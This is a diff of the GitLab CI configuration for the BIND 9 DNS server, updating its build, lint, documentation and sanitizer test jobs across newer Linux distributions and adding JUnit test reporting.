-    - if git rev-parse > /dev/null 2>&1; then ( ! grep "^I:.*:file.*not removed$" *.log ); fi
+    - >
+      "$PYTEST" --junit-xml="$CI_PROJECT_DIR"/junit.xml -n "$TEST_PARALLEL_JOBS" | tee pytest.out.txt
+    - '( ! grep -F "grep: warning:" pytest.out.txt )'
   after_script:
     - test -n "${OUT_OF_TREE_WORKSPACE}" && cd "${OUT_OF_TREE_WORKSPACE}"
-    - test -d bind-* && cd bind-*
-    - cat bin/tests/system/test-suite.log
-    - *save_out_of_tree_workspace
+    - *display_pytest_failures
 
 .system_test: &system_test_job
   <<: *system_test_common
   artifacts:
     untracked: true
-    expire_in: "1 day"
-    when: on_failure
+    exclude:
+      - "**/__pycache__/**/*"
+    when: always
+    reports:
+      junit: junit.xml
 
 .system_test_gcov: &system_test_gcov_job
   <<: *system_test_common
   artifacts:
     untracked: true
-    expire_in: "1 day"
+    exclude:
+      - "**/__pycache__/**/*"
     when: always
 
 .system_test_tsan: &system_test_tsan_job
   <<: *system_test_common
   after_script:
-    - cat bin/tests/system/test-suite.log
-    - find bin -name 'tsan.*' -exec python3 util/parse_tsan.py {} \;
+    - *display_pytest_failures
+    - find bin/tests/system -name "*dig.*" | xargs grep "error" || true
+    - *find_python
+    - *parse_tsan
+    - >
+      "$PYTHON" bin/tests/convert-trs-to-junit.py . > "$CI_PROJECT_DIR"/junit.xml
   artifacts:
-    expire_in: "1 day"
     untracked: true
-    when: on_failure
+    exclude:
+      - "**/__pycache__/**/*"
+    when: always
+    reports:
+      junit: junit.xml
 
 .unit_test_common: &unit_test_common
   <<: *default_triggering_rules
   stage: unit
   before_script:
-    - *setup_softhsm
-    - *retrieve_out_of_tree_workspace
+    - test -n "${OUT_OF_TREE_WORKSPACE}" && cd "${OUT_OF_TREE_WORKSPACE}"
   script:
     - make -j${TEST_PARALLEL_JOBS:-1} -k unit V=1
   after_script:
-    - *save_out_of_tree_workspace
+    - test -d bind-* && cd bind-*
+    - REALSOURCEDIR="$PWD"
+    - test -n "${OUT_OF_TREE_WORKSPACE}" && cd "${OUT_OF_TREE_WORKSPACE}"
+    - *find_python
+    - >
+      "$PYTHON" "$REALSOURCEDIR"/bin/tests/convert-trs-to-junit.py . > "$CI_PROJECT_DIR"/junit.xml
 
 .unit_test: &unit_test_job
   <<: *unit_test_common
   artifacts:
     untracked: true
-    expire_in: "1 day"
-    when: on_failure
+    when: always
+    reports:
+      junit: junit.xml
 
 .unit_test_gcov: &unit_test_gcov_job
   <<: *unit_test_common
   artifacts:
     untracked: true
-    expire_in: "1 day"
     when: always
 
 .unit_test_tsan: &unit_test_tsan_job
   <<: *unit_test_common
   after_script:
-    - find lib -name 'tsan.*' -exec python3 util/parse_tsan.py {} \;
+    - *find_python
+    - *parse_tsan
+    - >
+      "$PYTHON" bin/tests/convert-trs-to-junit.py . > "$CI_PROJECT_DIR"/junit.xml
   artifacts:
-    expire_in: "1 day"
-    paths:
-      - lib/*/tests/tsan.*
-      - tsan/
-    when: on_failure
-
-.cppcheck_args: &run_cppcheck |
-  cppcheck --enable=warning,performance,portability,information,missingInclude --include=config.h --std=c11 --language=c --project=compile_commands.json --error-exitcode=2 -j ${TEST_PARALLEL_JOBS:-1} --xml --output-file=cppcheck.results --relative-paths="$CI_PROJECT_DIR" --inline-suppr --suppressions-list=util/suppressions.txt
-
-.cppcheck_report: &cppcheck_report_html |
-  cppcheck-htmlreport --title="BIND 9 ($CI_COMMIT_SHORT_SHA) Cppcheck Report" --file=cppcheck.results --report-dir=cppcheck_html/
+    untracked: true
+    when: always
+    reports:
+      junit: junit.xml
 
-.cppcheck: &cppcheck_job
-  <<: *default_triggering_rules
-  stage: postcheck
+.docs: &docs_job
+  stage: docs
   script:
     - *configure
-    - (make -nwk all || true) | compiledb
-    - export GCC_VERSION=$(gcc --version | sed -n 's/.* \([0-9]\+\)\.[0-9]\+\.[0-9]\+.*/\1/p')
-    - sed -i "/gcc\",/a\"-DCPPCHECK\", \"-D__STDC__\", \"-D__GNUC__=${GCC_VERSION}\"," compile_commands.json
-    - *run_cppcheck
-  after_script:
-    - *cppcheck_report_html
+    - make -j${BUILD_PARALLEL_JOBS:-1} -k doc V=1
+    - qpdf --check doc/arm/_build/latex/Bv9ARM.pdf
+    - find doc/man/ -maxdepth 1 -name "*.[0-9]" -exec mandoc -T lint "{}" \; | ( ! grep -v -e "skipping paragraph macro. sp after" -e "unknown font, skipping request. ft C" -e "input text line longer than 80 bytes" )
+
+.respdiff: &respdiff_job
+  stage: system
+  before_script:
+    - autoreconf -fi
+    - *configure
+    - make -j${BUILD_PARALLEL_JOBS:-1} V=1
+    - *setup_interfaces
+    - git clone --depth 1 https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.isc.org/isc-private/bind-qa.git
+    - cd bind-qa/bind9/respdiff
+  needs: []
   artifacts:
     paths:
-      - compile_commands.json
-      - cppcheck.results
-      - cppcheck_html/
-    expire_in: "1 day"
-    when: on_failure
-  needs:
-    - job: autoreconf
-      artifacts: true
+      - bind-qa/bind9/respdiff
+    exclude:
+      - bind-qa/bind9/respdiff/rspworkdir/data.mdb # Exclude a 10 GB file.
+    untracked: true
+    when: always
 
 ### Job Definitions
 
@@ -411,21 +532,29 @@ misc:
     - test ! -f CHANGES.SE || perl util/check-changes master=0 CHANGES.SE
     - test ! -f CHANGES.SE || sh util/check-line-length.sh CHANGES.SE
     - rm CHANGES.tmp
-    - perl -w util/merge_copyrights
-    - diff -urNap util/copyrights util/newcopyrights
-    - rm util/newcopyrights
-    - perl -w util/update_copyrights < util/copyrights
-    - if test "$(git status --porcelain | grep -Ev '\?\?' | wc -l)" -gt "0"; then git status --short; exit 1; fi
-    - xmllint --noout --nonet `git ls-files '*.xml' '*.docbook'`
     - sh util/check-categories.sh
+    - sh util/check-gitignore.sh
+    - sh util/check-trailing-whitespace.sh
     - if git grep SYSTEMTESTTOP -- ':!.gitlab-ci.yml'; then echo 'Please use relative paths instead of $SYSTEMTESTTOP.'; exit 1; fi
     - bash util/unused-headers.sh
+    - bash util/xmllint-html.sh
   needs: []
   artifacts:
     paths:
-      - util/newcopyrights
       - checklibs.out
-    expire_in: "1 day"
+    when: on_failure
+
+black:
+  <<: *precheck_job
+  needs: []
+  script:
+    - black $(git ls-files '*.py')
+    - git diff > black.patch
+    - if test "$(git status --porcelain | grep -Ev '\?\?' | wc -l)" -gt "0"; then git status --short; exit 1; fi
+  artifacts:
+    paths:
+      - black.patch
+    expire_in: "1 week"
     when: on_failure
 
 clang-format:
@@ -433,7 +562,13 @@ clang-format:
   needs: []
   script:
     - if [ -r .clang-format ]; then "${CLANG_FORMAT}" -i -style=file $(git ls-files '*.c' '*.h'); fi
+    - git diff > clang-format.patch
     - if test "$(git status --porcelain | grep -Ev '\?\?' | wc -l)" -gt "0"; then git status --short; exit 1; fi
+  artifacts:
+    paths:
+      - clang-format.patch
+    expire_in: "1 week"
+    when: on_failure
 
 coccinelle:
   <<: *precheck_job
@@ -442,6 +577,23 @@ coccinelle:
     - util/check-cocci
     - if test "$(git status --porcelain | grep -Ev '\?\?' | wc -l)" -gt "0"; then git status --short; exit 1; fi
 
+pylint:
+  <<: *precheck_job
+  needs: []
+  script:
+    - pylint --rcfile $CI_PROJECT_DIR/.pylintrc $(git ls-files '*.py' | grep -vE '(ans\.py|dangerfile\.py|^bin/tests/system/)')
+      # Ignore Pylint wrong-import-position error in system test to enable use of pytest.importorskip
+    - pylint --rcfile $CI_PROJECT_DIR/.pylintrc --disable=wrong-import-position $(git ls-files 'bin/tests/system/*.py' | grep -vE 'ans\.py')
+
+reuse:
+  <<: *precheck_job
+  needs: []
+  image:
+    name: docker.io/fsfe/reuse:latest
+    entrypoint: [""]
+  script:
+    - reuse lint
+
 danger:
   <<: *precheck_job
   needs: []
@@ -453,28 +605,11 @@ danger:
     variables:
       - $DANGER_GITLAB_API_TOKEN
 
-flake8:
-  <<: *default_triggering_rules
-  <<: *base_image
-  stage: postcheck
-  needs:
-    - job: autoreconf
-      artifacts: true
+checkbashisms:
+  <<: *precheck_job
+  needs: []
   script:
-    - *configure
-    - flake8 --max-line-length=80 $(git ls-files '*.py' | grep -vE '(ans\.py|dangerfile\.py)')
-
-pylint:
-  <<: *default_triggering_rules
-  <<: *base_image
-  stage: postcheck
-  needs:
-    - job: autoreconf
-      artifacts: true
-  script:
-    - *configure
-    - PYTHONPATH="$PYTHONPATH:$CI_PROJECT_DIR/bin/python"
-    - pylint --rcfile $CI_PROJECT_DIR/.pylintrc $(git ls-files '*.py' | grep -vE '(ans\.py|dangerfile\.py)')
+    - checkbashisms $(find . -path './.git' -prune -o -type f -exec sh -c 'head -n 1 "{}" | grep -qsF "#!/bin/sh"' \; -print)
 
 tarball-create:
   stage: precheck
@@ -486,180 +621,227 @@ tarball-create:
     - autoreconf -fi
     - ./configure --enable-maintainer-mode
     - make -j${BUILD_PARALLEL_JOBS:-1} all V=1
-    - if test "$(git status --porcelain | grep -Ev '\?\?' | wc -l)" -gt "0"; then git status --short; exit 1; fi
+    - if test "$(git status --porcelain | grep -Ev '\?\?' | wc -l)" -gt "0"; then git status --short; git diff > diff.patch; exit 1; fi
     - make -j${BUILD_PARALLEL_JOBS:-1} dist V=1
   artifacts:
     paths:
+      - diff.patch
       - bind-*.tar.${TARBALL_EXTENSION}
+    when: always
   needs:
     - job: autoreconf
       artifacts: true
 
-# Jobs for doc builds on Debian 10 "buster" (amd64)
+# Jobs for doc builds on Debian 12 "bookworm" (amd64)
 
 docs:
-  <<: *release_branch_triggering_rules
+  <<: *default_triggering_rules
   <<: *base_image
-  stage: docs
-  before_script:
-    - test -w "${CCACHE_DIR}" && export PATH="/usr/lib/ccache:${PATH}"
-  script:
-    - *configure
-    - make -j${BUILD_PARALLEL_JOBS:-1} -k doc V=1
-    - qpdf --check doc/arm/_build/latex/Bv9ARM.pdf
-    - find doc/man/ -maxdepth 1 -name "*.[0-9]" -exec mandoc -T lint "{}" \; | ( ! grep -v -e "skipping paragraph macro. sp after" -e "unknown font, skipping request. ft C" )
+  <<: *docs_job
   needs:
     - job: autoreconf
       artifacts: true
-  allow_failure: false
   artifacts:
-    paths:
-      - doc/arm/
-      - doc/man/
-      - doc/misc/
-    expire_in: "1 month"
+    untracked: true
 
-push:docs:
+docs:tarball:
+  <<: *default_triggering_rules
   <<: *base_image
-  stage: push
+  <<: *docs_job
+  before_script:
+    - *unpack_release_tarball
   needs:
-    - job: docs
-      artifacts: false
-  script:
-    - curl -X POST -F token=$GITLAB_PAGES_DOCS_TRIGGER_TOKEN -F ref=main $GITLAB_PAGES_DOCS_TRIGGER_URL
-  only:
-    - main@isc-projects/bind9
-    - /^v9_[1-9][0-9]$/@isc-projects/bind9
+    - job: tarball-create
+      artifacts: true
 
-# Jobs for regular GCC builds on Alpine Linux 3.13 (amd64)
+# Jobs for regular GCC builds on Alpine Linux 3.18 (amd64)
 
-gcc:alpine3.13:amd64:
+gcc:alpine3.18:amd64:
   variables:
     CC: gcc
     CFLAGS: "${CFLAGS_COMMON}"
     EXTRA_CONFIGURE: "${WITHOUT_READLINE}"
-  <<: *alpine_3_13_amd64_image
+  <<: *alpine_3_18_amd64_image
   <<: *build_job
 
-system:gcc:alpine3.13:amd64:
-  <<: *alpine_3_13_amd64_image
+system:gcc:alpine3.18:amd64:
+  <<: *alpine_3_18_amd64_image
   <<: *system_test_job
   needs:
-    - job: gcc:alpine3.13:amd64
+    - job: gcc:alpine3.18:amd64
       artifacts: true
 
-unit:gcc:alpine3.13:amd64:
-  <<: *alpine_3_13_amd64_image
+unit:gcc:alpine3.18:amd64:
+  <<: *alpine_3_18_amd64_image
   <<: *unit_test_job
   needs:
-    - job: gcc:alpine3.13:amd64
+    - job: gcc:alpine3.18:amd64
       artifacts: true
 
-# Jobs for regular GCC builds on CentOS 7 (amd64)
+# Jobs for regular GCC builds on Oracle Linux 8 (amd64)
 
-gcc:centos7:amd64:
+gcc:oraclelinux8:amd64:
   variables:
     CC: gcc
     CFLAGS: "${CFLAGS_COMMON}"
     EXTRA_CONFIGURE: "--with-libidn2"
-  <<: *centos_centos7_amd64_image
+  <<: *oraclelinux_8_amd64_image
   <<: *build_job
 
-system:gcc:centos7:amd64:
-  <<: *centos_centos7_amd64_image
+system:gcc:oraclelinux8:amd64:
+  <<: *oraclelinux_8_amd64_image
   <<: *system_test_job
   needs:
-    - job: gcc:centos7:amd64
+    - job: gcc:oraclelinux8:amd64
       artifacts: true
 
-unit:gcc:centos7:amd64:
-  <<: *centos_centos7_amd64_image
+unit:gcc:oraclelinux8:amd64:
+  <<: *oraclelinux_8_amd64_image
   <<: *unit_test_job
   needs:
-    - job: gcc:centos7:amd64
+    - job: gcc:oraclelinux8:amd64
       artifacts: true
 
-# Jobs for regular GCC builds on CentOS 8 (amd64)
+# Jobs for regular GCC builds on Oracle Linux 9 (amd64)
 
-gcc:centos8:amd64:
+gcc:oraclelinux9:amd64:
   variables:
     CC: gcc
     CFLAGS: "${CFLAGS_COMMON}"
-    EXTRA_CONFIGURE: "--enable-buffer-useinline --with-libidn2"
-  <<: *centos_centos8_amd64_image
+    EXTRA_CONFIGURE: "--with-libidn2 --disable-developer"
+  <<: *oraclelinux_9_amd64_image
   <<: *build_job
 
-system:gcc:centos8:amd64:
-  <<: *centos_centos8_amd64_image
+system:gcc:oraclelinux9:amd64:
+  <<: *oraclelinux_9_amd64_image
   <<: *system_test_job
   needs:
-    - job: gcc:centos8:amd64
+    - job: gcc:oraclelinux9:amd64
       artifacts: true
 
-unit:gcc:centos8:amd64:
-  <<: *centos_centos8_amd64_image
+unit:gcc:oraclelinux9:amd64:
+  <<: *oraclelinux_9_amd64_image
   <<: *unit_test_job
   needs:
-    - job: gcc:centos8:amd64
+    - job: gcc:oraclelinux9:amd64
+
+# Jobs for scheduled GCC builds on Oracle Linux 8 & 9 FIPS-aware images with
+# FIPS mode in BIND 9 enabled
+
+gcc:8fips:amd64:
+  variables:
+    CC: gcc
+    CFLAGS: "${CFLAGS_COMMON}"
+    EXTRA_CONFIGURE: "--with-libidn2 --enable-fips-mode --disable-tracing"
+  <<: *oraclelinux_8fips_amd64_image
+  <<: *build_job
+  <<: *api_schedules_tags_triggers_web_triggering_rules
+
+system:gcc:8fips:amd64:
+  <<: *oraclelinux_8fips_amd64_image
+  <<: *system_test_job
+  <<: *api_schedules_tags_triggers_web_triggering_rules
+  needs:
+    - job: gcc:8fips:amd64
       artifacts: true
 
-# Jobs for regular GCC builds on Debian 9 "stretch" (amd64)
+unit:gcc:8fips:amd64:
+  <<: *oraclelinux_8fips_amd64_image
+  <<: *unit_test_job
+  <<: *api_schedules_tags_triggers_web_triggering_rules
+  needs:
+    - job: gcc:8fips:amd64
+      artifacts: true
 
-gcc:stretch:amd64:
+gcc:9fips:amd64:
   variables:
     CC: gcc
-    CFLAGS: "${CFLAGS_COMMON} -O2"
-    EXTRA_CONFIGURE: "--without-cmocka --without-gssapi"
-  <<: *debian_stretch_amd64_image
+    CFLAGS: "${CFLAGS_COMMON}"
+    EXTRA_CONFIGURE: "--with-libidn2 --enable-fips-mode --disable-leak-detection --disable-tracing"
+  <<: *oraclelinux_9fips_amd64_image
   <<: *build_job
+  <<: *api_schedules_tags_triggers_web_triggering_rules
 
-system:gcc:stretch:amd64:
-  <<: *debian_stretch_amd64_image
+system:gcc:9fips:amd64:
+  <<: *oraclelinux_9fips_amd64_image
   <<: *system_test_job
+  <<: *api_schedules_tags_triggers_web_triggering_rules
   needs:
-    - job: gcc:stretch:amd64
+    - job: gcc:9fips:amd64
       artifacts: true
 
-unit:gcc:stretch:amd64:
-  <<: *debian_stretch_amd64_image
+unit:gcc:9fips:amd64:
+  <<: *oraclelinux_9fips_amd64_image
   <<: *unit_test_job
+  <<: *api_schedules_tags_triggers_web_triggering_rules
   needs:
-    - job: gcc:stretch:amd64
+    - job: gcc:9fips:amd64
       artifacts: true
 
-# Jobs for regular GCC builds on Debian 10 "buster" (amd64)
+gcc:tarball:nosphinx:
+  variables:
+    CC: gcc
+    CFLAGS: "${CFLAGS_COMMON}"
+    EXTRA_CONFIGURE: "--with-libidn2 --disable-developer"
+    RUN_MAKE_INSTALL: 1
+  <<: *oraclelinux_9_amd64_image
+  <<: *build_job
+  before_script:
+    - (! command -v sphinx-build >/dev/null)
+    - *unpack_release_tarball
+  needs:
+    - job: tarball-create
+      artifacts: true
 
-gcc:buster:amd64:
+# Jobs for regular GCC builds on Debian 12 "bookworm" (amd64)
+
+gcc:bookworm:amd64:
   variables:
+    BUILD_CONTRIB: 1
     CC: gcc
     CFLAGS: "${CFLAGS_COMMON} --coverage -O0"
     EXTRA_CONFIGURE: "--with-libidn2 ${WITH_READLINE_LIBEDIT}"
-  <<: *debian_buster_amd64_image
+    RUN_MAKE_INSTALL: 1
+  <<: *debian_bookworm_amd64_image
   <<: *build_job
 
-system:gcc:buster:amd64:
-  <<: *debian_buster_amd64_image
+system:gcc:bookworm:amd64:
+  <<: *debian_bookworm_amd64_image
   <<: *system_test_gcov_job
+  variables:
+    CI_ENABLE_ALL_TESTS: 1
   needs:
-    - job: unit:gcc:buster:amd64
+    - job: unit:gcc:bookworm:amd64
       artifacts: true
 
-unit:gcc:buster:amd64:
-  <<: *debian_buster_amd64_image
+unit:gcc:bookworm:amd64:
+  <<: *debian_bookworm_amd64_image
   <<: *unit_test_gcov_job
+  variables:
+    CI_ENABLE_ALL_TESTS: 1
   needs:
-    - job: gcc:buster:amd64
+    - job: gcc:bookworm:amd64
       artifacts: true
 
-# Jobs for scan-build builds on Debian 10 "buster" (amd64)
+# Build job for cross-compiled GCC builds on 64-bit Debian 12 "bookworm"
+# (amd64) with 32-bit BIND 9.
+
+gcc:bookworm:amd64cross32:
+  variables:
+    CFLAGS: "${CFLAGS_COMMON}"
+    CROSS_COMPILATION: 1
+    EXTRA_CONFIGURE: "--build=x86_64-linux-gnu --host=i686-linux-gnu --with-libidn2 ${WITH_READLINE_LIBEDIT}"
+  <<: *debian_bookworm_amd64cross32_image
+  <<: *build_job
+
+# Jobs for scan-build builds on Debian 12 "bookworm" (amd64)
 
-.scan_build: &scan_build |
-  ${SCAN_BUILD} --html-title="BIND 9 ($CI_COMMIT_SHORT_SHA)" \
-                --keep-cc \
-                --status-bugs \
-                --keep-going \
-                -o scan-build.reports \
-                make -j${BUILD_PARALLEL_JOBS:-1} all V=1
+.scan_build: &scan_build
+  - ${SCAN_BUILD} --html-title="BIND 9 ($CI_COMMIT_SHORT_SHA)"
+                  --keep-cc
+                  --status-bugs
+                  --keep-going
+                  -o scan-build.reports make -j${BUILD_PARALLEL_JOBS:-1} all V=1
 
 scan-build:
   <<: *default_triggering_rules
@@ -679,9 +861,39 @@ scan-build:
   artifacts:
     paths:
       - scan-build.reports/
-    expire_in: "1 day"
     when: on_failure
 
+# Jobs for strict OpenSSL 3.x (no deprecated) GCC builds on Debian "sid" (amd64)
+# Run with pkcs11-provider tests
+
+gcc:ossl3:sid:amd64:
+  variables:
+    CC: gcc
+    CFLAGS: "${CFLAGS_COMMON} -O3 -DOPENSSL_NO_DEPRECATED=1 -DOPENSSL_API_COMPAT=30000"
+    # See https://gitlab.isc.org/isc-projects/bind9/-/issues/3444
+    EXTRA_CONFIGURE: "--without-jemalloc --disable-leak-detection"
+    RUN_MAKE_INSTALL: 1
+  <<: *debian_sid_amd64_image
+  <<: *build_job
+
+system:gcc:ossl3:sid:amd64:
+  # Set up environment variables to run pkcs11-provider system tests
+  variables:
+    OPENSSL_CONF: "/var/tmp/etc/openssl-provider.cnf"
+    SOFTHSM2_CONF: "/var/tmp/softhsm2/softhsm2.conf"
+  <<: *debian_sid_amd64_image
+  <<: *system_test_job
+  needs:
+    - job: gcc:ossl3:sid:amd64
+      artifacts: true
+
+unit:gcc:ossl3:amd64:
+  <<: *debian_sid_amd64_image
+  <<: *unit_test_job
+  needs:
+    - job: gcc:ossl3:sid:amd64
+      artifacts: true
+
 # Jobs for regular GCC builds on Debian "sid" (amd64)
 # Also tests configration option: --without-lmdb.
 
@@ -689,7 +901,7 @@ gcc:sid:amd64:
   variables:
     CC: gcc
     CFLAGS: "${CFLAGS_COMMON} -O3"
-    EXTRA_CONFIGURE: "--with-libidn2 --without-lmdb"
+    EXTRA_CONFIGURE: "--with-libidn2 --without-lmdb ${WITH_READLINE}"
     RUN_MAKE_INSTALL: 1
   <<: *debian_sid_amd64_image
   <<: *build_job
@@ -708,11 +920,7 @@ unit:gcc:sid:amd64:
     - job: gcc:sid:amd64
       artifacts: true
 
-cppcheck:
-  <<: *base_image
-  <<: *cppcheck_job
-
-# Job for out-of-tree GCC build on Debian "sid" (amd64)
+# Job for out-of-tree GCC build on Debian 12 "bookworm" (amd64)
 # Also tests configration option: --with-lmdb.
 
 gcc:out-of-tree:
@@ -722,31 +930,31 @@ gcc:out-of-tree:
     CONFIGURE: "${CI_PROJECT_DIR}/configure"
     EXTRA_CONFIGURE: "--with-libidn2 --with-lmdb"
     RUN_MAKE_INSTALL: 1
-    OUT_OF_TREE_WORKSPACE: /tmp/out_of_tree_workspace
+    OUT_OF_TREE_WORKSPACE: workspace
   <<: *base_image
   <<: *build_job
 
 system:gcc:out-of-tree:
   variables:
-    OUT_OF_TREE_WORKSPACE: /tmp/out_of_tree_workspace
+    OUT_OF_TREE_WORKSPACE: workspace
   needs:
     - job: gcc:out-of-tree
       artifacts: true
   <<: *base_image
   <<: *system_test_job
-  <<: *schedules_tags_web_triggering_rules
+  <<: *api_schedules_tags_triggers_web_triggering_rules
 
 unit:gcc:out-of-tree:
   variables:
-    OUT_OF_TREE_WORKSPACE: /tmp/out_of_tree_workspace
+    OUT_OF_TREE_WORKSPACE: workspace
   needs:
     - job: gcc:out-of-tree
       artifacts: true
   <<: *base_image
   <<: *unit_test_job
-  <<: *schedules_tags_web_triggering_rules
+  <<: *api_schedules_tags_triggers_web_triggering_rules
 
-# Jobs for tarball GCC builds on Debian 10 "buster" (amd64)
+# Jobs for tarball GCC builds on Debian 12 "bookworm" (amd64)
 
 gcc:tarball:
   variables:
@@ -756,9 +964,7 @@ gcc:tarball:
   <<: *base_image
   <<: *build_job
   before_script:
-    - tar --extract --file bind-*.tar.${TARBALL_EXTENSION}
-    - rm -f bind-*.tar.${TARBALL_EXTENSION}
-    - cd bind-*
+    - *unpack_release_tarball
   needs:
     - job: tarball-create
       artifacts: true
@@ -766,10 +972,13 @@ gcc:tarball:
 system:gcc:tarball:
   <<: *base_image
   <<: *system_test_job
-  <<: *schedules_tags_web_triggering_rules
+  <<: *api_schedules_tags_triggers_web_triggering_rules
   before_script:
     - cd bind-*
     - *setup_interfaces
+  after_script:
+    - cd bind-*
+    - *display_pytest_failures
   needs:
     - job: gcc:tarball
       artifacts: true
@@ -777,7 +986,7 @@ system:gcc:tarball:
 unit:gcc:tarball:
   <<: *base_image
   <<: *unit_test_job
-  <<: *schedules_tags_web_triggering_rules
+  <<: *api_schedules_tags_triggers_web_triggering_rules
   before_script:
     - cd bind-*
   needs:
@@ -790,7 +999,15 @@ gcc:tumbleweed:amd64:
   variables:
     CC: gcc
     CFLAGS: "${CFLAGS_COMMON} -DDEBUG"
-    EXTRA_CONFIGURE: "--with-libidn2 ${WITH_READLINE_READLINE}"
+    # NOTE: Testing DNSRPS-enabled builds currently requires an
+    # operating system with glibc 2.34+.  This requirement will go away
+    # once the DNSRPS dynamic loading code gets reworked to use libuv's
+    # dlopen() API.
+    #
+    # NOTE: This does *not* enable testing of the DNSRPS feature itself.
+    # Doing that requires a DNSRPS provider library to be present on the
+    # test host.
+    EXTRA_CONFIGURE: "--enable-dnsrps --enable-dnsrps-dl --with-libidn2 ${WITH_READLINE_READLINE}"
   <<: *tumbleweed_latest_amd64_image
   <<: *build_job
 
@@ -808,78 +1025,76 @@ unit:gcc:tumbleweed:amd64:
     - job: gcc:tumbleweed:amd64
       artifacts: true
 
-# Jobs for regular GCC builds on Ubuntu 18.04 Bionic Beaver (amd64)
+# Jobs for regular GCC builds on Ubuntu 20.04 Focal Fossa (amd64)
 
-gcc:bionic:amd64:
+gcc:focal:amd64:
   variables:
     CC: gcc
-    CFLAGS: "${CFLAGS_COMMON} -O2"
-    EXTRA_CONFIGURE: "--disable-dnstap --disable-geoip"
-  <<: *ubuntu_bionic_amd64_image
+    CFLAGS: "${CFLAGS_COMMON} -Og"
+    EXTRA_CONFIGURE: "--disable-dnstap --without-cmocka --without-gssapi --with-libidn2"
+  <<: *ubuntu_focal_amd64_image
   <<: *build_job
 
-system:gcc:bionic:amd64:
-  <<: *ubuntu_bionic_amd64_image
+system:gcc:focal:amd64:
+  <<: *ubuntu_focal_amd64_image
   <<: *system_test_job
   needs:
-    - job: gcc:bionic:amd64
+    - job: gcc:focal:amd64
       artifacts: true
 
-unit:gcc:bionic:amd64:
-  <<: *ubuntu_bionic_amd64_image
+unit:gcc:focal:amd64:
+  <<: *ubuntu_focal_amd64_image
   <<: *unit_test_job
   needs:
-    - job: gcc:bionic:amd64
+    - job: gcc:focal:amd64
       artifacts: true
 
-# Jobs for regular GCC builds on Ubuntu 20.04 Focal Fossa (amd64)
+# Jobs for regular GCC builds on Ubuntu 22.04 Jammy Jellyfish (amd64)
 
-gcc:focal:amd64:
+gcc:jammy:amd64:
   variables:
     CC: gcc
-    CFLAGS: "${CFLAGS_COMMON} -Og"
-    EXTRA_CONFIGURE: "--with-libidn2"
-  <<: *ubuntu_focal_amd64_image
+    CFLAGS: "${CFLAGS_COMMON}"
+    EXTRA_CONFIGURE: "--disable-geoip --with-libidn2 --disable-doh"
+  <<: *ubuntu_jammy_amd64_image
   <<: *build_job
 
-system:gcc:focal:amd64:
-  <<: *ubuntu_focal_amd64_image
+system:gcc:jammy:amd64:
+  <<: *ubuntu_jammy_amd64_image
   <<: *system_test_job
   needs:
-    - job: gcc:focal:amd64
+    - job: gcc:jammy:amd64
       artifacts: true
 
-unit:gcc:focal:amd64:
-  <<: *ubuntu_focal_amd64_image
+unit:gcc:jammy:amd64:
+  <<: *ubuntu_jammy_amd64_image
   <<: *unit_test_job
   needs:
-    - job: gcc:focal:amd64
+    - job: gcc:jammy:amd64
       artifacts: true
 
-# Jobs for ASAN builds on Debian 10 "buster" (amd64)
+# Jobs for ASAN builds on Fedora 38 (amd64)
 
 gcc:asan:
   variables:
     CC: gcc
     CFLAGS: "${CFLAGS_COMMON} -fsanitize=address,undefined"
     LDFLAGS: "-fsanitize=address,undefined"
-    EXTRA_CONFIGURE: "--with-libidn2"
-  <<: *base_image
+    EXTRA_CONFIGURE: "--with-libidn2 --without-jemalloc"
+  <<: *fedora_38_amd64_image
   <<: *build_job
 
 system:gcc:asan:
   variables:
-    ASAN_OPTIONS: ${ASAN_OPTIONS_COMMON}
-  <<: *base_image
+    LSAN_OPTIONS: "suppressions=$CI_PROJECT_DIR/suppr-lsan.txt"
+  <<: *fedora_38_amd64_image
   <<: *system_test_job
   needs:
     - job: gcc:asan
       artifacts: true
 
 unit:gcc:asan:
-  variables:
-    ASAN_OPTIONS: ${ASAN_OPTIONS_COMMON}
-  <<: *base_image
+  <<: *fedora_38_amd64_image
   <<: *unit_test_job
   needs:
     - job: gcc:asan
@@ -890,13 +1105,11 @@ clang:asan:
     CC: ${CLANG}
     CFLAGS: "${CFLAGS_COMMON} -fsanitize=address,undefined"
     LDFLAGS: "-fsanitize=address,undefined"
-    EXTRA_CONFIGURE: "--with-libidn2"
+    EXTRA_CONFIGURE: "--with-libidn2 --without-jemalloc"
   <<: *base_image
   <<: *build_job
 
 system:clang:asan:
-  variables:
-    ASAN_OPTIONS: ${ASAN_OPTIONS_COMMON}
   <<: *base_image
   <<: *system_test_job
   needs:
@@ -904,29 +1117,27 @@ system:clang:asan:
       artifacts: true
 
 unit:clang:asan:
-  variables:
-    ASAN_OPTIONS: ${ASAN_OPTIONS_COMMON}
   <<: *base_image
   <<: *unit_test_job
   needs:
     - job: clang:asan
       artifacts: true
 
-# Jobs for TSAN builds on Debian 10 "buster" (amd64)
+# Jobs for TSAN builds on Fedora 38 (amd64)
 
 gcc:tsan:
-  <<: *base_image
-  <<: *build_job
   variables:
     CC: gcc
     CFLAGS: "${CFLAGS_COMMON} -fsanitize=thread"
     LDFLAGS: "-fsanitize=thread"
-    EXTRA_CONFIGURE: "--with-libidn2 --enable-pthread-rwlock"
+    EXTRA_CONFIGURE: "--with-libidn2 --enable-pthread-rwlock --without-jemalloc"
+  <<: *tsan_fedora_38_amd64_image
+  <<: *build_job
 
 system:gcc:tsan:
   variables:
-    TSAN_OPTIONS: ${TSAN_OPTIONS_COMMON}
-  <<: *base_image
+    TSAN_OPTIONS: "${TSAN_OPTIONS_FEDORA}"
+  <<: *tsan_fedora_38_amd64_image
   <<: *system_test_tsan_job
   needs:
     - job: gcc:tsan
@@ -934,26 +1145,26 @@ system:gcc:tsan:
 
 unit:gcc:tsan:
   variables:
-    TSAN_OPTIONS: ${TSAN_OPTIONS_COMMON} suppressions=$CI_PROJECT_DIR/tsan-suppressions.txt
-  <<: *base_image
+    TSAN_OPTIONS: "${TSAN_OPTIONS_FEDORA}"
+  <<: *tsan_fedora_38_amd64_image
   <<: *unit_test_tsan_job
   needs:
     - job: gcc:tsan
       artifacts: true
 
 clang:tsan:
-  <<: *base_image
+  <<: *tsan_debian_bookworm_amd64_image
   <<: *build_job
   variables:
     CC: "${CLANG}"
     CFLAGS: "${CFLAGS_COMMON} -fsanitize=thread"
     LDFLAGS: "-fsanitize=thread"
-    EXTRA_CONFIGURE: "--with-libidn2 --enable-pthread-rwlock"
+    EXTRA_CONFIGURE: "--with-libidn2 --enable-pthread-rwlock --without-jemalloc"
 
 system:clang:tsan:
   variables:
